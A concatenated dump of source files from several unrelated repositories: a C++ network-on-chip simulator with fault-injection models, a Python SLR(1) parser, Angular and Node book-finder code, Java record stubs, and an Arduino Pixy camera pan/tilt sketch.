allocationTable[i][j]= 0;
lastInputVC = new Path(0,0);
arbCounter=0;
ClkCycle = getParentModule()->getParentModule()->getParentModule()->par("ClkCycle");
clkMsg = new ClkMsg;
clkMsg->setKind(CLK_MSG);
scheduleAt(simTime()+ClkCycle,clkMsg);
allocatorAvgEnergy.setName("AllocatorAvgEnergy");
}
void CAVCAllocator::finish()
{
initOrion();
// std::cout <<"le nombre d'actions d'arbitrage est: " << arbCounter << endl;
double avgEnergy = getOneStageVCAllocatorEnergy(arbCounter/(simTime().dbl()/ClkCycle));
allocatorAvgEnergy.record(avgEnergy);
}
void CAVCAllocator::handleMessage(cMessage *msg)
{
// TODO - Generated method body
switch(msg->getKind())
{
case CLK_MSG:
arbiter();
scheduleAt(simTime() + ClkCycle, clkMsg);
}
}
Path* CAVCAllocator::allocVC(vector<Path*> *listRoutes)
{
Path *outputPath = NULL;
double minStressValue = 1;
StressValueControl *congestionUnit = dynamic_cast<StressValueControl *>(getParentModule()->getSubmodule("congestionUnit"));
for(unsigned int i=0;i<listRoutes->size();i++)
{
Path* e = listRoutes->at(i);
if(allocationTable[e->getNumOutPort()][e->getNumOutVc()] ==0)
{
if(congestionUnit->getNeighborStress(e->getNumOutPort()) < minStressValue)
{
outputPath = e;
minStressValue = congestionUnit->getNeighborStress(e->getNumOutPort());
}
// allocationTable[e->getNumOutPort()][e->getNumOutVc()] = 1;
// break;
}
}
if(outputPath != NULL) allocationTable[outputPath->getNumOutPort()][outputPath->getNumOutVc()] = 1;
return outputPath;
}
void CAVCAllocator::deallocVC(Path *o)
{
allocationTable[o->getNumOutPort()][o->getNumOutVc()] = 0;
/*
InputUnitXY *inputUnit = dynamic_cast<InputUnitXY *>(getParentModule()->getSubmodule("InputUnit",i->getNumOutPort()));
VirtualChannel *inputVC = inputUnit->getVirtualChannel(i->getNumOutVc());
inputVC->setState(IDLE);
//*/
}
void CAVCAllocator::arbiter()
{
Path * curPath = new Path(lastInputVC->getNumOutPort(),lastInputVC->getNumOutVc());
int curInputPort=curPath->getNumOutPort();
int curInputVC=curPath->getNumOutVc();
while(true)
{
curInputVC++;
//curPath->setNumOutVc(curPath->getNumOutVc()+1);
if(curInputVC==nbVCs)
{
curInputVC = 0;
curInputPort++;
//curPath->setNumOutPort(curInputPort+1);
if(curInputPort == nbInputUnit)
curInputPort=0;
}
curPath->setNumOutPort(curInputPort);
curPath->setNumOutVc(curInputVC);
//getParentModule()->getSubmodule("switch");
InputUnit *inputUnit = dynamic_cast<InputUnit *>(getParentModule()->getSubmodule("inputUnit",curInputPort));
VirtualChannel *inputVC = inputUnit->getVirtualChannel(curInputVC);
if(inputVC->getState() == VCALLOCATION)
{
// for(int j=0;j<inputVC->getListRoutes()->size();j++)
// std::cout << "route "<< i << ": " << listRoute->at(i)->getNumOutPort() << " : " << listRoute->at(i)->getNumOutVc() << endl;
// std::cout << "route "<< j << ": " << inputVC->getListRoutes()->at(j)->getNumOutPort() << " : " << inputVC->getListRoutes()->at(j)->getNumOutVc() << endl;
Path *outputPath = allocVC(inputVC->getListRoutes());
if(outputPath!=NULL)
{
bubble("opération d'allocation des routes");
inputVC->setOutputPort(outputPath->getNumOutPort());
inputVC->setOutputVC(outputPath->getNumOutVc());
// std::cout << inputVC->getOutputPort() << " : " << inputVC->getOutputVC() << endl;
//inputVC->setState(FLOWCONTROL);
inputVC->setState(SWITCHALLOCATION);
arbCounter++;
}
// else{
// if(getParentModule()->getParentModule()->getIndex()==0)
// std::cout << "Allocation failed" << endl;
// }
lastInputVC->setNumOutPort(curPath->getNumOutPort());
lastInputVC->setNumOutVc(curPath->getNumOutVc());
/*
if(getParentModule()->getParentModule()->getIndex()==0)
{
std::cout << "Affichage de la table d'allocation :" << endl;
for(int i=0;i<this->nbVCs;i++)
{
std::cout<< this->allocationTable[0][i] << " ";
}
std::cout << endl;
for(int i=0;i<this->nbVCs;i++)
{
std::cout<< this->allocationTable[1][i] << " ";
}
std::cout << endl;
for(int i=0;i<this->nbVCs;i++)
{
std::cout<< this->allocationTable[2][i] << " ";
}
std::cout << endl;
for(int i=0;i<this->nbVCs;i++)
{
std::cout<< this->allocationTable[3][i] << " ";
}
std::cout << endl;
}
//*/
break;
}
if(curPath->getNumOutPort()==lastInputVC->getNumOutPort() && curPath->getNumOutVc()==lastInputVC->getNumOutVc())
{
break;
}
}
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/TriggerExec.cc
/*
* TriggerExec.cc
*
* Created on: 27 mars 2015
* Author: mehdi
*/
#include <TriggerExec.h>
TriggerExec::TriggerExec() {
// TODO Auto-generated constructor stub
}
TriggerExec::~TriggerExec() {
// TODO Auto-generated destructor stub
}
void execOp()
{
}
void TriggerExec::addToSendsTab(Send* send) { this->sendsTab.push_back(send); }
int TriggerExec::getMin() { return this->min; }
int TriggerExec::getMax() { return this->max; }
int TriggerExec::getModPeriod() { return this->modPeriod; }
int TriggerExec::getModPhase() { return this->modPhase; }
std::vector<Send*> TriggerExec::getSendsTab() { return this->sendsTab; }
void TriggerExec::setMin(int min) { this->min=min; }
void TriggerExec::setMax(int max) { this->max=max; }
void TriggerExec::setModPeriod(int modPeriod) { this->modPeriod=modPeriod; }
void TriggerExec::setModPhase(int modPhase) { this->modPhase=modPhase; }
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TDUniform.h
/*
* TDUniform.h
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#ifndef TDUNIFORM_H_
#define TDUNIFORM_H_
#include "TempralDistribution.h"
using namespace std;
class TDUniform: public TempralDistribution {
private:
int lowerBound;
int upperBound;
public:
TDUniform(int lowerBound,int upperBound);
virtual ~TDUniform();
virtual int getNextGenerationTime();
};
#endif /* TDUNIFORM_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/NorthLast/NorthLast.h
/*
* NorthLast.h
*
* Created on: Feb 16, 2015
* Author: ala-eddine
*/
#ifndef NORTHLAST_H_
#define NORTHLAST_H_
#include <RoutingFunction.h>
using namespace std;
class NorthLast:public RoutingFunction {
public:
NorthLast(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo);
virtual ~NorthLast();
virtual vector<Path *> *routeCalc(Flit *f);
virtual void updateNeighborsFaultInfo(int direction,bool neighborState);
};
#endif /* NORTHLAST_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/ProbabilisticModel.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "ProbabilisticModel.h"
Define_Module(ProbabilisticModel);
void ProbabilisticModel::initialize()
{
/*
secondFlit =0;
// TODO - Generated method body
if(getParentModule()->getParentModule()->getIndex()==0)
{
cMessage *msg = new cMessage;
scheduleAt(simTime()+0.000000002,msg);
}
//*/
//*
/*TempralDistribution* TD;
SpatialDistribution* SD;
PacketSizeDistribution* PSD;*/
int temporalDistribution = par("temporalDistribution");
int spatialeDistribution = par("spatialeDistribution");
int packetLengthDistribution = par("packetLengthDistribution");
nbColumns = getParentModule()->getParentModule()->getParentModule()->par("columns");
nbRows = getParentModule()->getParentModule()->getParentModule()->par("rows");
nbVCs = getParentModule()->getParentModule()->par("nbVCs");
x = getParentModule()->getParentModule()->par("x");
y = getParentModule()->getParentModule()->par("y");
flitLength = getParentModule()->getParentModule()->getParentModule()->par("flitLength");
int interarrival;
switch(temporalDistribution)
{
case TDCONSTANT:
interarrival = par("TDConstantInterval");
TD=new TDConstant(interarrival);
break;
case TDUNIFORM:
TD=new TDUniform(par("TDUniformLowerBound"),par("TDUniformUpperBound"));
break;
case TDEXPONENTIAL:
TD=new TDExponential(par("TDExpoMean"));
break;
}
switch(spatialeDistribution)
{
case SDUNIFORM:
SD=new SDUniform(nbRows,nbColumns);
break;
case SDTRANSPOSE1:
SD= new SDDeterministic(SDTRANSPOSE1,x,y,nbColumns,nbRows);
break;
case SDTRANSPOSE2:
SD= new SDDeterministic(SDTRANSPOSE2,x,y,nbColumns,nbRows);
break;
case SDBITCOMPLEMENT:
SD= new SDDeterministic(SDBITCOMPLEMENT,x,y,nbColumns,nbRows);
break;
case SDBITREVERSE:
SD= new SDDeterministic(SDBITREVERSE,x,y,nbColumns,nbRows);
break;
case SDSHUFFLE:
SD= new SDDeterministic(SDSHUFFLE,x,y,nbColumns,nbRows);
break;
case SDHOTSPOT:
SD=new SDHotspot(par("SDHotspotProba"),par("SDHotspotX"),par("SDHotspotY"),nbRows,nbColumns);
break;
// MEH2 DEB
case SDNED:
SD=new SDNeD(x,y,nbColumns,nbRows);
break;
// MEH2 END
}
int size;
switch(packetLengthDistribution)
{
case PSDCONSTANT:
size = par("LDConstantSize");
PSD=new PSDConstant(size);
break;
case PSDUNIFORM:
PSD=new PSDUniform(par("LDUniformLowerBound"),par("LDUniformUpperBound"));
break;
}
//*/
this->trafficGenerator = new ProbabilisticTraffic(PSD,SD,TD);
TrafficMsg* msg=new TrafficMsg;
msg->setKind(TRAFFIC_MSG);
int nextTime = this->trafficGenerator->getNextGenerationTime();
scheduleAt(simTime()+0.000000002*nextTime,msg);
packetsCounter=0;
flitsCounter = 0;
flitsCounterVector.setName("send-flit-counter");
packetsCounterVector.setName("send-packets-counter");
}
//*
void ProbabilisticModel::handleMessage(cMessage *msg)
{
int nextTime;
int size = this->trafficGenerator->getPacketSize();
int dx = 0;
int dy = 0;
switch(msg->getKind())
{
case TRAFFIC_MSG:
break;
}
do{
this->trafficGenerator->getDestination(&dx,&dy);
}while(this->x==dx && this->y==dy);
if(dx!=-1 && dy!=-1)
{
if(numVCs < nbVCs-1) numVCs++;
else numVCs = 0;
Flit* f= createHeadFlit(dx,dy,numVCs);
send(f,"out");
for(int i = 1;i<size-1;i++)
{
f=createDataFlit(numVCs,i);
send(f,"out");
}
f=createTailFlit(numVCs,size-1);
send(f,"out");
}
//if(simTime().dbl()<0.000006){
nextTime=this->trafficGenerator->getNextGenerationTime();
scheduleAt(simTime()+0.000000002*nextTime,msg);//}
}
void ProbabilisticModel::finish()
{
flitsCounterVector.record(flitsCounter);
packetsCounterVector.record(packetsCounter);
}
Flit* ProbabilisticModel::createHeadFlit(int dx, int dy, int numVC)
{
packetsCounter++;
flitsCounter++;
Flit *f = new Flit;
f->setKind(FLIT_MSG);
f->setType(HEADER_FLIT);
f->setSrc(getParentModule()->getParentModule()->getIndex());
f->setPacketIndex(packetsCounter);
f->setDestX(dx);
f->setDestY(dy);
f->setNumVC(numVC);
f->setFlitIndex(0);
f->setPayloadArraySize(flitLength-6);
f->setFunctionType(DATA_FLIT);
return f;
}
Flit* ProbabilisticModel::createTailFlit(int numVC, int index)
{
flitsCounter++;
Flit *f = new Flit;
f->setKind(FLIT_MSG);
f->setType(TAIL_FLIT);
f->setSrc(getParentModule()->getParentModule()->getIndex());
f->setPacketIndex(packetsCounter);
f->setNumVC(numVC);
f->setFlitIndex(index);
f->setFunctionType(DATA_FLIT);
f->setPayloadArraySize(flitLength-2);
return f;
}
Flit* ProbabilisticModel::createDataFlit(int numVC,int index)
{
flitsCounter++;
Flit *f = new Flit;
f->setKind(FLIT_MSG);
f->setType(MIDDLE_FLIT);
f->setSrc(getParentModule()->getParentModule()->getIndex());
f->setPacketIndex(packetsCounter);
f->setNumVC(numVC);
f->setFlitIndex(index);
f->setFunctionType(DATA_FLIT);
f->setPayloadArraySize(flitLength-2);
return f;
}
//*/
/*
void ProbabilisticModel::handleMessage(cMessage *msg)
{
// TODO - Generated method body
Flit* f;
switch(secondFlit)
{
case 0:
f = new Flit;
f->setKind(FLIT_MSG);
f->setDestX(1);
f->setDestY(2);
f->setType(HEADER_FLIT);
f->setNumVC(1);
f->setFlitIndex(1);
bubble("je suis le routeur source, le message est envoyé vers le routeur x,y");
send(f,"out");
secondFlit++;
scheduleAt(simTime()+0.000000002,msg);
break;
case 1:
f = new Flit;
f->setKind(FLIT_MSG);
f->setType(TAIL_FLIT);
f->setNumVC(1);
f->setFlitIndex(2);
send(f,"out");
secondFlit++;
scheduleAt(simTime()+0.000000002,msg);
break;
case 2:
f = new Flit;
f->setKind(FLIT_MSG);
f->setDestX(1);
f->setDestY(2);
f->setType(HEADER_FLIT);
f->setNumVC(1);
f->setFlitIndex(1);
bubble("je suis le routeur source, le message est envoyé vers le routeur x,y");
send(f,"out");
secondFlit++;
scheduleAt(simTime()+0.000000002,msg);
break;
case 3:
f = new Flit;
f->setKind(FLIT_MSG);
f->setType(TAIL_FLIT);
f->setNumVC(1);
f->setFlitIndex(2);
send(f,"out");
secondFlit++;
scheduleAt(simTime()+0.000000002,msg);
break;
case 4 :
f = new Flit;
f->setKind(FLIT_MSG);
f->setDestX(1);
f->setDestY(2);
f->setType(HEADER_FLIT);
f->setNumVC(1);
send(f,"out");
secondFlit++;
scheduleAt(simTime()+0.000000002,msg);
break;
case 5:
f = new Flit;
f->setKind(FLIT_MSG);
f->setType(TAIL_FLIT);
f->setNumVC(1);
f->setFlitIndex(2);
send(f,"out");
secondFlit++;
break;
}
}
//*/
//*
/*simtime_t ProbabilisticModel::getNextEventTime(){
simtime_t interarrival = null;
switch(temporelDistribution)
{
case "constant":
interarrival = par("TDConstantInterval");break;
case "uniform":
double upperBound = par("TDUniformUpperBound");
double lowerBound = par("TDUniformLowerBound");
interarrival = uniform(lowerBound,upperBound);break;
case "exponential":
double mean = par("TDExpoMean");
interarrival = exponential(mean);break;
}
return interarrival;
}*/
/*void ProbabilisticModel::getDestination(int *xDest, int *yDest){
switch(spatialeDistribution)
{
case "uniform":
*yDest = intuniform(0,nbRows-1);
*xDest = intuniform(0,nbColumns-1);
break;
case "hotSpot": break;
case "transpose1":
*xDest = y;
*yDest = x;
break;
case "transpose2":
*xDest = nbColumns - x;
*yDest = nbRows -y;
break;
}
}*/
/*int ProbabilisticModel::getPacketLenght(){
int size = 0;
switch(packetLengthDistribution)
{
case "constant":
size = par("LDConstantSize");break;
case "uniform":
size = uniform(par("LDUniformLowerBound"),par("LDUniformUpperBound"));break;
}
return size;
}*/
//*/
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/PacketSizeDistribution/PSDUniform.h
/*
* PSDUniform.h
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#ifndef PSDUNIFORM_H_
#define PSDUNIFORM_H_
#include <PacketSizeDistribution.h>
using namespace std;
class PSDUniform : public PacketSizeDistribution {
private:
int lowerBound;
int upperBound;
public:
PSDUniform(int lowerBound,int upperBound);
virtual ~PSDUniform();
virtual int getPacketSize();
};
#endif /* PSDUNIFORM_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/PacketSizeDistribution/PSDConstant.h
/*
* PSDConstant.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef PSDCONSTANT_H_
#define PSDCONSTANT_H_
#include <PacketSizeDistribution.h>
using namespace std;
class PSDConstant : public PacketSizeDistribution{
private:
int size;
public:
PSDConstant(int size);
virtual ~PSDConstant();
virtual int getPacketSize();
};
#endif /* PSDCONSTANT_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/AlterBitsE2E.h
/*
* AlterBitsE2E.h
*
* Created on: 27 avr. 2015
* Author: ala-eddine
*/
#ifndef ALTERBITSE2E_H_
#define ALTERBITSE2E_H_
#include <FaultProperty.h>
class AlterBitsE2E : public FaultProperty{
private:
int minBits;
int maxBits;
public:
AlterBitsE2E(int minBits,int maxBits);
virtual ~AlterBitsE2E();
virtual bool alterFlit(Flit *f);
};
#endif /* ALTERBITSE2E_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/PacketSizeDistribution/PSDConstant.cc
/*
* PSDConstant.cc
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#include <PSDConstant.h>
using namespace std;
PSDConstant::PSDConstant(int size) {
// TODO Auto-generated constructor stub
this->size = size;
}
PSDConstant::~PSDConstant() {
// TODO Auto-generated destructor stub
}
int PSDConstant::getPacketSize()
{
return size;
}
| 3296cfd8bf8f36e2b65f1fb73943e8b8d9db84de | [
"Markdown",
"C++",
"INI"
] | 80 | C++ | aladin2015/FTNOCSIM | 87ec14aef3be9bc886b685b5cb7ea15d6aaa3810 | e3f88ad7b559b89653551c7a568f682a545c8eac |
refs/heads/master | <file_sep>import { Component, Output, EventEmitter } from '@angular/core';
import { ComponentComunicatorService } from '../../services/componentComunicator.service';
@Component({
selector: 'app-questionnaire',
templateUrl: './questionnaire.component.html',
styleUrls: ['./questionnaire.component.scss']
})
export class QuestionnaireComponent {
current: number;
questions;
lastQuestion = false;
results: string[] = [];
constructor(private componentComunicatorService: ComponentComunicatorService) {
this.current = 0;
this.questions = [
{
title: 'What\'s your favourite genre',
answers: ['Filosophy', 'History', 'Novel']
},
{
title: 'Do you prefer classics, or new books?',
answers: ['Classics', 'New Books']
}
];
}
// tslint:disable-next-line:member-ordering
@Output() questionnaireDone = new EventEmitter<boolean>();
nextQuestion() {
console.log(this.results);
if (this.current === this.questions.length - 2) {
this.lastQuestion = true;
}
this.current += 1;
}
endQuestionnaire() {
this.componentComunicatorService.questionnaireSetter(this.results);
this.questionnaireDone.emit(true);
}
}
<file_sep>import { Component } from '@angular/core';
import { ComponentComunicatorService } from '../../services/componentComunicator.service';
@Component({
selector: 'app-results',
templateUrl: './results.component.html',
styleUrls: ['./results.component.scss']
})
export class ResultsComponent {
results;
constructor(private componentComunicatorService: ComponentComunicatorService ){
this.results = componentComunicatorService.questionnaireGetter();
console.log(this.results);
}
}
<file_sep>import { Component } from '@angular/core';
@Component({
selector: 'app-header',
templateUrl: './header.component.html',
styleUrls: ['./header.component.scss']
})
export class HeaderComponent {
menuItems: string[] = ['Home', 'Books', 'About'];
}
<file_sep>const Hapi = require('hapi')
const server = new Hapi.Server()
const routes = require('./routes/routes')
server.connection({ port: 8080, host: 'localhost' })
server.start((err) => {
if (err) throw err;
console.log(`Server running at: ${server.info.uri}`)
})
// Mapping throu array of routes, and setting them.
routes.map((route) => {
server.route(route)
})
<file_sep>const MongoClient = require('mongodb').MongoClient
const url = 'mongodb://localhost:27017/books_finder'
module.exports = {
getAllBooks,
getBookByName,
postBook
}
function getAllBooks(request, reply) {
MongoClient.connect(url, (err, db) => {
let booksCol = db.collection('books')
booksCol.find({}).toArray((err, res) => {
reply(res)
})
})
}
function getBookByName(request, reply) {
let name = request.params.name
MongoClient.connect(url, (err, db) => {
let booksCol = db.collection('books')
booksCol.find({name}).toArray((err, res) => {
reply(res)
})
})
}
function postBook(request, reply) {
}<file_sep>import { Injectable } from '@angular/core';
@Injectable()
export class ComponentComunicatorService {
questionnaire:string[] = [];
constructor() {}
questionnaireSetter(arr:string[]){
this.questionnaire = arr;
}
questionnaireGetter(){
return this.questionnaire ? this.questionnaire : 'Not done!!!';
}
}<file_sep>const books = require('../controllers/books')
module.exports = [
{
method: 'GET',
path: '/api/books',
handler: books.getAllBooks
},
{
method: 'GET',
path: '/api/books/{name}',
handler: books.getBookByName
}
// {
// method: 'POST',
// path: '/api/books',
// handler: postBook
// }
]
| f878e877d9d837070c6a779acb93485e6d9d1784 | [
"JavaScript",
"TypeScript"
] | 7 | TypeScript | pgarciaegido/book_finder | 529058808f6537e1646eb8221da5cd5d5309e147 | c0467527cfa1bc67e76c8f98a763e6e28a2c9e0f |
refs/heads/master | <repo_name>franleplant/slr1.py<file_sep>/main.py
from copy import deepcopy
# grammar = (S string, VN set[string], VT set[string], prods)
# prod = (head, body)
# prods = [prod]
# item = (i_prod, i_stacktop)
# state = items = set[item]
# canonical_collection = set[state]
# action_table[state, string] =
# ("shift", t_string)
# ("reduce", i_prod)
# ("accept")
# goto_table[state, NT string] = next_state
# fns
# state = closure(state)
# state = goto(state, Symbol string)
# [state] = canonical_collection(grammar)
# parse(tokens)
# first
# follow
# helpers
# prod = item_to_prod(item, prods)
# stacktop = item_to_stacktop(item, prods)
# grammarI = grammar_with_fake_start(grammar)
FAKE_S = "FAKE_S"
EOF = "EOF"
SHIFT = "shift"
REDUCE = "reduce"
ACCEPT = "accept"
LAMBDA = "lambda"
def grammar_with_fake_start(grammar):
(prev_q0, vn, vt, prods) = deepcopy(grammar)
q0 = FAKE_S
vn.insert(0, q0)
vt.append(EOF)
prods.insert(0, (q0, [prev_q0]))
return (q0, vn, vt, prods)
def canonical_collection(grammar):
(q0, vn, vt, prods) = grammar
grammar_symbols = vn + vt
goto_table = { }
q0_item = (0, 0)
cc0 = closure(set([q0_item]), grammar)
cc = set([cc0])
# Avoid processing a cc_i twice
done = set([])
while True:
new_ccs = set([])
for cc_i in cc:
if cc_i in done:
continue
for symbol in grammar_symbols:
cc_next = goto(cc_i, symbol, grammar)
if len(cc_next) > 0 :
new_ccs.add(cc_next)
goto_table[(cc_i, symbol)] = cc_next
done.add(cc_i)
if new_ccs <= cc:
break
else:
cc = cc.union(new_ccs)
return (cc0, cc, goto_table)
def closure(items, grammar):
(q0, vn, vt, prods) = grammar
clo = items
while True:
new_items = set([])
for item in clo:
stacktop = item_to_stacktop(item, grammar)
if stacktop != None and stacktop not in vn:
continue
for prod_index, (head, body) in get_prods_with_head(stacktop, grammar):
new_item = (prod_index, 0)
new_items.add(new_item)
if new_items <= clo:
break
else:
clo = clo.union(new_items)
return frozenset(clo)
def goto(cc_i, symbol, grammar):
(q0, vn, vt, prods) = grammar
items = set([])
for item in cc_i:
stacktop = item_to_stacktop(item, grammar)
if symbol == stacktop:
new_item = (item[0], item[1] + 1)
items.add(new_item)
return closure(items, grammar)
def build_action_table(cc, goto_table, follow_table, grammar):
(_, _, vt, _) = grammar
action_table = {}
for cc_i in cc:
for item in cc_i:
stacktop = item_to_stacktop(item, grammar)
if not (item_is_complete(item, grammar) or stacktop in vt):
continue
head, body = item_to_prod(item, grammar)
# print head, body
if head == FAKE_S:
action_table.setdefault((cc_i, EOF), []).append((ACCEPT,))
elif item_is_complete(item, grammar):
for a in follow_table[head]:
action_table.setdefault((cc_i, a), []).append((REDUCE, item[0]))
else:
next_state = goto_table.get((cc_i, stacktop))
action_table.setdefault((cc_i, stacktop), []).append((SHIFT, next_state))
return action_table
def first(grammar):
(q0, vn, vt, prods) = grammar
first_table = {}
first_table_snapshot = {}
for t in vt:
first_table[t] = set([t])
for nt in vn:
first_table[nt] = set([])
while first_table != first_table_snapshot:
first_table_snapshot = deepcopy(first_table)
for head, body in prods:
rhs = set([])
for i, b in enumerate(body):
if i == 0 or LAMBDA in first_table[body[i - 1]]:
if i == len(body) - 1:
rhs = rhs.union(first_table[b])
else:
rhs = rhs.union(first_table[b] - set([LAMBDA]))
first_table[head] = first_table[head].union(rhs)
return first_table
def follow(grammar, first_table):
(q0, vn, vt, prods) = grammar
follow_table = {}
follow_table_snapshot = {}
for nt in vn:
follow_table[nt] = set([])
follow_table[q0] = set([EOF])
while follow_table != follow_table_snapshot:
follow_table_snapshot = deepcopy(follow_table)
for head, body in prods:
trailer = follow_table[head]
for b in reversed(body):
if b in vt:
trailer = set([b])
else:
follow_table[b] = follow_table[b].union(trailer)
if LAMBDA in first_table[b]:
trailer = trailer.union(first_table[b] - set([LAMBDA]))
else:
trailer = first_table[b]
return follow_table
def parse(grammar, tokens):
print ""
print "++++++++++++++++++++++++"
print "++++++++++++++++++++++++"
print "PARSE: {0}".format(tokens)
print "++++++++++++++++++++++++"
print "++++++++++++++++++++++++"
grammar = grammar_with_fake_start(grammar)
cc0, cc, goto_table = canonical_collection(grammar)
first_table = first(grammar)
follow_table = follow(grammar, first_table)
action_table = build_action_table(cc, goto_table, follow_table, grammar)
stack = [cc0]
token_index = 0
ok = True
iter = 0
while True:
print ""
print "============"
print "ITER: {0}".format(iter)
print "============"
iter += 1
print_stack(stack, cc)
token = tokens[token_index]
print "Token: {0}".format(token[0])
stacktop_state = stack[-1]
actions = action_table.get((stacktop_state, token[0]))
if actions == None or len(actions) == 0:
return (False, "No actions")
if len(actions) > 1:
print "Conflicts in the action table"
action = actions[0]
action_str = action[0]
if len(action) == 2:
if action[0] == "shift":
# TODO
action_str += " {0}".format(action[1])
else:
action_str += " {0}".format(action[1])
print "Action: {0}".format(action_str)
if action[0] == SHIFT:
next_state = action[1]
stack.append(next_state)
token_index += 1
elif action[0] == REDUCE:
prod_index= action[1]
prods = grammar[3]
(head, body) = prods[prod_index]
for _ in range(len(body)):
stack.pop()
stacktop_state = stack[-1]
next_state = goto_table.get((stacktop_state, head), "DEFAULT2")
stack.append(next_state)
print "reducing by {0} -> {1}".format(head, body)
elif action[0] == ACCEPT:
break
else:
print "ERROR"
print_stack(stack, cc, True)
ok = False
break
return (ok)
##################
# Helpers
###################
def item_to_stacktop(item, grammar):
(_, _, _, prods) = grammar
(prod_index, stacktop_index) = item
(head, body) = prods[prod_index]
if stacktop_index >= len(body):
# Complete Item
return None
else:
stacktop = body[stacktop_index]
return stacktop
def item_to_prod(item, grammar):
(_, _, _, prods) = grammar
(prod_index, _) = item
return prods[prod_index]
def item_is_complete(item, grammar):
res = item_to_stacktop(item, grammar)
if res == None:
return True
else:
return False
def get_prods_with_head(desired_head, grammar):
if desired_head == None:
return []
(_, _, _, prods) = grammar
result = []
for prod_index, (current_head, body) in enumerate(prods):
if current_head != desired_head:
continue
result.append((prod_index, (current_head, body)))
return result
def print_goto_table(goto_table, cc):
id_map = {}
cc_list = list(cc)
print "INDEX"
for i, cc_i in enumerate(cc_list):
id_map[cc_i] = i
print "{0} -> {1}".format(i, cc_i)
print "GOTO"
for key, next_state in goto_table.iteritems():
state, symbol = key
print "{0:<10} {1:<10} -> {2}".format(id_map.get(state), symbol, id_map.get(next_state))
def print_action_table(action_table, cc, grammar):
id_map = {}
cc_list = list(cc)
print "INDEX"
for i, cc_i in enumerate(cc_list):
id_map[cc_i] = i
print "{0} -> {1}".format(i, cc_i)
print "ACTION"
for key, actions in action_table.iteritems():
state, symbol = key
action_str = []
for action in actions:
if action[0] == ACCEPT:
action_str.append("ACCEPT")
elif action[0] == REDUCE:
action_str.append("Reduce {0}".format(prod_to_string(grammar[3][action[1]])))
elif action[0] == SHIFT:
action_str.append("Shift {0}".format(id_map.get(action[1])))
print "{0:<10} {1:<10} -> {2}".format(id_map.get(state), symbol, "".join(action_str))
def print_stack(stack, cc, index=False):
id_map = {}
cc_list = list(cc)
if index:
print "INDEX"
for i, cc_i in enumerate(cc_list):
id_map[cc_i] = i
if index:
print "{0} -> {1}".format(i, cc_i)
print "STACK: {0}".format(" ".join(map(lambda x: "{0}".format(id_map.get(x)), stack)))
# print "======="
# print " ".join(map(lambda x: "{0}".format(id_map.get(x)), stack))
# for state in reversed(stack):
# print "{0}".format(id_map.get(state))
# print state
# print "======="
def prod_to_string(prod):
head, body = prod
return "{0} -> {1}".format(head, " ".join(body))
if __name__ == '__main__':
prods = [
("E", ["E", "+", "T"]),
("E", ["T"]),
("T", ["T", "*", "F"]),
("T", ["F"]),
("F", ["(", "E", ")"]),
("F", ["id"]),
]
q0 = "E"
vn = ["E", "T", "F"]
vt = ["+", "*", "(", ")", "id"]
grammar = (q0, vn, vt, prods)
print parse(grammar, [("id", ), ("+", ), ("id", ), (EOF, )])
| 44f345b5887274ac1b68b96e761cad92e6de8be5 | [
"Python"
] | 1 | Python | franleplant/slr1.py | a03a10a50beb477b743c612c1ca92178a79706c5 | 9033cbae0253ac085debe7d231d050bdf4c078b3 |
refs/heads/master | <repo_name>zeno521/AssessmentTwo<file_sep>/Source Code/src/datamanagement/StudentUnitRecordList.java
package datamanagement;
/**
* The class represents a student-unit record list.
*
* @author <NAME>
* @since 2015-08-05
*/
public class StudentUnitRecordList
extends java.util.ArrayList<IStudentUnitRecord>
{
}
<file_sep>/Source Code/src/datamanagement/StudentUnitRecordMap.java
package datamanagement;
/**
* The class represents a student map of student ID and unit.
*
* @author <NAME>
* @since 2015-08-05
*/
public class StudentUnitRecordMap
extends java.util.HashMap<String, IStudentUnitRecord>
{
}
| 26be1a68748e5f39b4c992046018bbe58a8a0060 | [
"Java"
] | 2 | Java | zeno521/AssessmentTwo | 38f0e1625295eead84c0cf7b6051d9ae7683d726 | 2fe55a5ee6f5683373e252bc1c2c7e374f09191a |
refs/heads/master | <file_sep>Pixy
====
Code for Pixy CAMcmu5

<file_sep>//Pan/Tilt code for Pixy CMUcam5
//C. <NAME>
//Ladvien, http://letsmakerobots.com/node/40753
//Pixy Stuff (includes)
#include <Servo.h>
#include <SPI.h>
#include <Pixy.h>
//Lets setup the Pixy.
Pixy pixy;
//Variables for indexing the largest mass and printing the info.
int pIndex;
int printPixy = 0;
//Variables for tracking the largest mass.
int pHeightPlusWidth = 0;
int pHeightPlusWidthMax = 0;
//Holds the index number of the largest mass.
int pMaxIXY = 0;
Servo pixyServoX; //Attach the pan servo.
Servo pixyServoY; //Attach the tilt servo.
//Set servos to initial position.
int posX = 90; //Servo position.
int posY = 90; //Servo position.
//Servo position.
int servoPosX = 90;
int servoPosY = 90;
//These are the limit settings for the Servo's movement range.
//Given, 90 is middle.
int PanLowLimit = 1;
int PanHighLimit = 180;
int TiltLowLimit = 50;
int TiltHighLimit = 95;
//Adjust to control how many servo positions are changed at once.
int servoMaxJumpX = 7;
int servoMaxJumpY = 3;
//Centered margin limits.
int xLowCenterLimit = 80;
int xHighCenterLimit = 240;
int yLowCenterLimit = 40;
